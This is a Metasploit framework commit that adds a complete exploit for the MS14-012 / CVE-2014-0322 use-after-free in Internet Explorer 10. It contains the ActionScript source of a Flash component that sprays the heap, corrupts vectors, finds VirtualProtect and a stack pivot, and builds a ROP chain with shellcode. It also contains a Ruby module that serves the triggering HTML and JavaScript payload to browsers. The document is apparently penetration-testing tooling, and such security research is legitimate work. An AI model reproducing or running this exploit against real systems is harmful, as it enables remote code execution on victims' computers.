Land #3266 - MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free

bug/bundler_fix
sinn3r 2014-04-15 18:35:18 -05:00
commit d7a63003a3
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
3 changed files with 719 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,519 @@
/*
* MS14-012 Internet Explorer CMarkup Use-After-Free
* Vendor Homepage: http://www.microsoft.com
* Version: IE 10
* Date: 2014-03-31
* Exploit Author: Jean-Jamil Khalife
* Tested on: Windows 7 SP1 x64 (fr, en)
* Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77)
* Home: http://www.hdwsec.fr
* Blog : http://www.hdwsec.fr/blog/
* MS14-012 / CVE-2014-0322
*
* Generation:
* c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf
*
*/
package
{
import __AS3__.vec.Vector;
import flash.display.*;
import flash.events.*;
import flash.external.*;
import flash.media.*;
import flash.net.*;
import flash.text.*;
import flash.utils.*;
import Math;
import flash.system.Security;
import flash.external.ExternalInterface;
import flash.display.LoaderInfo;
public class AsXploit extends Sprite
{
public var s:Vector.<Object>;
public var spraysound:Vector.<Object>;
public var myTimer:Timer;
public var sound:Sound;
public var shellcodeObj:Array;
/*
* Prepare the heap
* Trigger the vulnerability
* Exploit :)
*/
public function AsXploit()
{
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.version.split(",");
/* Prepare the heap */
init_heap();
/* Trigger the vulnerability */
ExternalInterface.call("trigger");
/* Check every second if the vulnerability has triggered */
myTimer = new Timer(1000, 114096);
myTimer.addEventListener("timer", timerHandler);
myTimer.start();
}
/* Prepare the heap
* Spray aligned vector & sound objects
*/
public function init_heap():void
{
var len:int = 0;
var i:int = 0;
/* Spray the integer array */
this.s = new Vector.<Object>(0x18180);
while (len < 0x18180)
{
this.s[len] = new Vector.<uint>(0x1000 / 4 - 16);
for (i=0; i < this.s[len].length; i++)
{
this.s[len][i] = 0x1a1a1a1a;
}
++len;
}
/* Spray sound object ptr */
this.sound = new Sound();
this.spraysound = new Vector.<Object>(0x100);
len = 0;
while (len < 0x100)
{
this.spraysound[len] = new Vector.<Object>(0x1234);
for (i=0; i < this.spraysound[len].length; i++)
{
this.spraysound[len][i] = this.sound;
}
++len;
}
}
/*
* Read an INT value in memory
*/
public function readInt(u1:int, u2:int, mod:uint):int
{
var valres:uint = 0;
if (mod == 1){
valres = ((u1 & 0xFFFFFF00)/0x100) + (u2&0xFF)*0x1000000;
}
else if (mod == 2){
valres = ((u1 & 0xFFFF0000)/0x10000) + (u2&0xFFFF)*0x10000;
}
else if (mod == 3){
valres = ((u1 & 0xFF000000)/0x1000000) + (u2&0xFFFFFF)*0x100;
}
else
{
valres = u1;
}
return valres;
}
/*
* Search a stack pivot dynamically
* baseflashaddr_off: flash dll base address offset
* index: index of vectors table
* offset: offset to get the Stackpivot RVA
*/
public function getSP(baseflashaddr_off:uint, index:uint, offset:uint):uint
{
var sp:uint = 0;
var sn:uint = 0;
var secname:uint = 0;
var sec:uint = 0;
var peindex:uint = 0;
var virtualSize:uint = 0;
var virtualAddr:uint = 0;
var i:uint = 0;
/* Find .text */
peindex = this.s[index][baseflashaddr_off+0x3C/4];
sn = this.s[index][baseflashaddr_off+peindex/4+1] >> 16;
/* Find 0xC394 */
for (sec=0; sec < sn; sec++)
{
if (this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E
&& this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74)
{
virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3];
virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2];
/* Find a stack pivot */
for (i=0; i < virtualSize/4; i++)
{
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF) != 0xC394)
{
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF00 ) != 0xC39400)
{
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF0000 ) != 0xC3940000)
{
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFF000000 ) == 0x94000000
&& (this.s[index][baseflashaddr_off+virtualAddr/4 + i + 1] & 0xFF ) == 0xC3)
{
sp = virtualAddr + i*4 + 3;
break;
}
}
else
{
sp = virtualAddr + i*4 + 2;
break;
}
}
else
{
sp = virtualAddr + i*4 + 1;
break;
}
}
else
{
sp = virtualAddr + i*4;
break;
}
}
}
}
if (sp != 0)
sp = offset+sp;
return sp;
}
/*
* Build & Insert the stack pivot + ROP + Shellcode
* Corrupt sound object vtable ptr
* baseflashaddr_off: flash dll address offset
* index: vectors table index
* cvaddr: corrupted vector address
* virtualprotectaddr: virtual protect address
* sp: stack pivot address
*/
public function buildPayload(baseflashaddr_off:uint, index:uint, j:uint, cvaddr:uint, virtualprotectaddr:uint, sp:uint ):void
{
var dec:uint = 0;
var soundobjref:uint = 0;
var soundobjaddr:uint = 0;
var sh:uint=0x300;
var i:uint = 0;
/* Corrupt sound object vtable ptr */
while (1)
{
if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234)
{
soundobjref = this.s[index][j+0x0A];
dec = soundobjref-cvaddr-1;
this.s[index][dec/4-2] = cvaddr+2*4+4*4;
break;
}
j++;
}
/* Stack pivot */
for (i=0; i < 0x200; i++)
this.s[index][i] = sp;
/* ROP */
this.s[index][0] = 0x41414141;
this.s[index][1] = 0x41414141;
this.s[index][2] = 0x41414141;
this.s[index][3] = 0x41414141;
this.s[index][4] = virtualprotectaddr;
this.s[index][5] = cvaddr+0xC00+8;
this.s[index][6] = cvaddr;
this.s[index][7] = 0x4000;
this.s[index][8] = 0x40;
this.s[index][9] = 0x1a002000;
/* Shellcode */
for(var u:String in shellcodeObj)
{
this.s[index][sh++] = Number(shellcodeObj[u]);
}
}
/*
* Get flash module base address
* index: index of vectors table
* cvaddr: corrupted vector address
*/
public function getFlashBaseAddr(index:uint, cvaddr:uint):Array
{
var baseflashaddr_off:uint = 0;
var j:int = 0;
var k:int = 0;
var kmax:uint = 0;
var vtableobj:int = 0;
var ocxinfo:Array = new Array();
while (1)
{
if (this.s[index][j] == 0x00010c00)
{
vtableobj = this.s[index][j+0x08] & 0xFFFF0000;
/* Get ocx base address */
k = 0;
while (1)
{
if (this.s[index][(vtableobj-cvaddr-k)/4 - 2] == 0x00905A4D)
{
baseflashaddr_off = (vtableobj-cvaddr-k)/4 - 2;
ocxinfo[0] = baseflashaddr_off;
ocxinfo[1] = j;
ocxinfo[2] = k;
ocxinfo[3] = vtableobj;
return ocxinfo;
}
k = k + 0x1000;
}
}
j = j + 0x1;
}
return ocxinfo;
}
/*
* Find kernel32.dll index
* index: index of vectors table
* baseflashaddr_off: flash dll address offset
* importsindex: offset to the imports table
*/
public function getK32Index(index:uint, baseflashaddr_off:uint, importsindex:uint):uint
{
var nameindex:uint = 0;
var dllname:int = 0;
var nameaddr:int = 0;
do
{
nameaddr = this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4];
/* kernel32.dll not found */
if (nameaddr == 0x0)
break;
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
/* Check kernel32.dll */
if (dllname == 0x6E72656B || dllname == 0x4E52454B)
{
nameaddr = nameaddr + 4;
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
if (dllname == 0x32336C65 || dllname == 0x32334C45)
{
nameaddr = nameaddr + 4;
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
if (dllname == 0x6C6C642E || dllname == 0x4C4C442E)
{
return nameindex;
}
}
}
/* Next dll */
nameindex = nameindex + 0x14;
}
while (1);
return 0;
}
/*
* Get VirtualProtectStub() addr
*/
public function GetVirtualProtectStubAddr(index:uint, baseflashaddr_off:uint, fct_addr_offset:uint, fct_name_offset:uint):uint
{
var fct_addr:uint = 0;
var fct_name:uint = 0;
var fct_name_struct:uint = 0;
do
{
fct_addr = readInt(this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4+1], (fct_addr_offset % 4));
fct_name_struct = readInt(this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4+1], (fct_name_offset % 4));
/* VirtualProtectStub() not found */
if (fct_addr == 0 || fct_name_struct == 0)
break;
if ((fct_name_struct & 0x80000000) != 0x80000000)
{
fct_name_struct = fct_name_struct + 2;
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
/* Check VirtualProtect */
if (fct_name == 0x74726956 || fct_name == 0x54524956)
{
fct_name_struct = fct_name_struct + 4;
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
if (fct_name == 0x504c4155 || fct_name == 0x506c6175)
{
fct_name_struct = fct_name_struct + 4;
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
if (fct_name == 0x45544f52 || fct_name == 0x65746f72)
{
return fct_addr;
}
}
}
}
/* Next Function() */
fct_addr_offset = fct_addr_offset + 0x4;
fct_name_offset = fct_name_offset + 0x4;
}
while (1);
return 0;
}
/*
* Get corrupted vector index
*/
public function getCorruptedVectorIndex():uint
{
var i:uint = 0;
for (i=0; i < this.s.length; i++)
{
if (this.s[i].length == 0x3FFFFFFF)
{
return i;
}
}
return i;
}
/*
* Corrupt next vector size
*/
public function corruptNextVector(index:uint):uint
{
var j:uint = 0;
for (j=0; j < this.s.length; j++)
{
if (this.s[index][j] == 0x000003F0)
{
this.s[index][j] = 0x3FFFFFFF;
return j;
}
j = j + 1;
}
return 0;
}
/*
* Perform the exploitation
* - Find VirtualProtect()
* - Find a stack pivot
* - Build payload (SP + ROP + SC)
* - Run payload
*/
public function timerHandler(event:TimerEvent):void
{
var i:int = 0;
var j:int = 0;
var k:int = 0;
var vtableobj:int = 0;
var peindex:int = 0;
var importsindex:int = 0;
var k32index:int = 0;
var fct_name_offset:uint = 0;
var fct_addr_offset:uint = 0;
var baseflashaddr_off:int = 0; /* Base address of the flash dll */
var vp_addr:uint = 0; /* VirtualProtectStub() addr */
var stackpivot:uint = 0; /* Stackpivot address */
var cvaddr:int = 0x1a001000; /* corrupted vector address */
var ocxinfo:Array;
var i2:uint = 0;
/* Search the corrupted vector */
for (i=0; i < this.s.length; i++)
{
/* Find corrupted vector */
if (this.s[i].length == 0x010003f0)
{
this.myTimer.stop();
/* Corrupt next vector size */
if (corruptNextVector(i) == 0)
return;
/* Find corrupted vector */
i2 = getCorruptedVectorIndex();
if (i2 == 0) return;
/* Get flash base addr */
ocxinfo = getFlashBaseAddr(i2, cvaddr);
if (ocxinfo.length == 0) return;
baseflashaddr_off = ocxinfo[0];
j = ocxinfo[1];
k = ocxinfo[2];
vtableobj = ocxinfo[3];
/* Get imports table */
peindex = this.s[i2][baseflashaddr_off+0x3C/4];
importsindex = this.s[i2][baseflashaddr_off+peindex/4+(0x18+0x60+0x8)/4];
/* Find kernel32.dll */
k32index = getK32Index(i2, baseflashaddr_off, importsindex);
if (k32index == 0) return;
fct_addr_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4+0x10/4];
fct_name_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4];
/* Find VirtualProtectStub() addr */
vp_addr = GetVirtualProtectStubAddr(i2, baseflashaddr_off, fct_addr_offset, fct_name_offset);
if (vp_addr == 0) return;
/* Search Stack Pivot */
stackpivot = getSP(baseflashaddr_off, i2, vtableobj-k);
if (stackpivot == 0) return;
/* Build Payload */
buildPayload(baseflashaddr_off, i2, j, cvaddr, vp_addr, stackpivot);
/* Run Payload */
this.sound.toString();
return;
}
}
}
}
}

View File

@ -0,0 +1,200 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free",
'Description' => %q{
This module exploits an use after free condition on Internet Explorer as used in the wild
on the "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to
bypass ASLR and finally DEP.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and Exploit in the wild
'Jean-Jamil Khalife', # Exploit
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2014-0322' ],
[ 'MSB', 'MS14-012' ],
[ 'BID', '65551' ],
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html'],
[ 'URL', 'http://hdwsec.fr/blog/CVE-2014-0322.html' ]
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'Space' => 960,
'DisableNops' => true,
'PrependEncoder' => stack_adjust
},
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => Msf::OperatingSystems::WINDOWS,
:os_flavor => Msf::OperatingSystems::WindowsVersions::SEVEN,
:ua_name => Msf::HttpClients::IE,
:ua_ver => '10.0',
:mshtml_build => lambda { |ver| ver.to_i < 16843 },
:flash => /^12\./
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
'Retries' => false
},
'Targets' =>
[
[ 'Windows 7 SP1 / IE 10 / FP 12', { } ],
],
'Privileged' => false,
'DisclosureDate' => "Feb 13 2014",
'DefaultTarget' => 0))
end
def stack_adjust
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
adjust
end
def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0322", "AsXploit.swf" )
fd = ::File.open( path, "rb" )
swf = fd.read(fd.stat.size)
fd.close
return swf
end
def exploit
@swf = create_swf
super
end
def on_request_uri(cli, request)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status("Sending SWF...")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
return
end
super
end
def on_request_exploit(cli, request, target_info)
print_status("Sending HTML...")
send_exploit_html(cli, exploit_template(cli, target_info))
end
def exploit_template(cli, target_info)
flash_payload = ""
get_payload(cli,target_info).unpack("V*").each do |i|
flash_payload << "0x#{i.to_s(16)},"
end
flash_payload.gsub!(/,$/, "")
html_template = %Q|
<html>
<head>
</head>
<body>
<script>
var g_arr = [];
var arrLen = 0x250;
function dword2data(dword)
{
var d = Number(dword).toString(16);
while (d.length < 8)
d = '0' + d;
return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}
function eXpl()
{
var a=0;
for (a=0; a < arrLen; a++) {
g_arr[a] = document.createElement('div');
}
var b = dword2data(0x19fffff3);
while (b.length < 0x360) {
if (b.length == (0x98 / 2))
{
b += dword2data(0x1a000010);
}
else if (b.length == (0x94 / 2))
{
b += dword2data(0x1a111111);
}
else if (b.length == (0x15c / 2))
{
b += dword2data(0x42424242);
}
else
{
b += dword2data(0x19fffff3);
}
}
var d = b.substring(0, ( 0x340 - 2 )/2);
try{
this.outerHTML=this.outerHTML
} catch(e){
}
CollectGarbage();
for (a=0; a < arrLen; a++)
{
g_arr[a].title = d.substring(0, d.length);
}
}
function trigger()
{
var a = document.getElementsByTagName("script");
var b = a[0];
b.onpropertychange = eXpl;
var c = document.createElement('SELECT');
c = b.appendChild(c);
}
</script>
<embed src=#{rand_text_alpha(4 + rand(3))}.swf FlashVars="version=<%=flash_payload%>" width="10" height="10">
</embed>
</body>
</html>
|
return html_template, binding()
end
end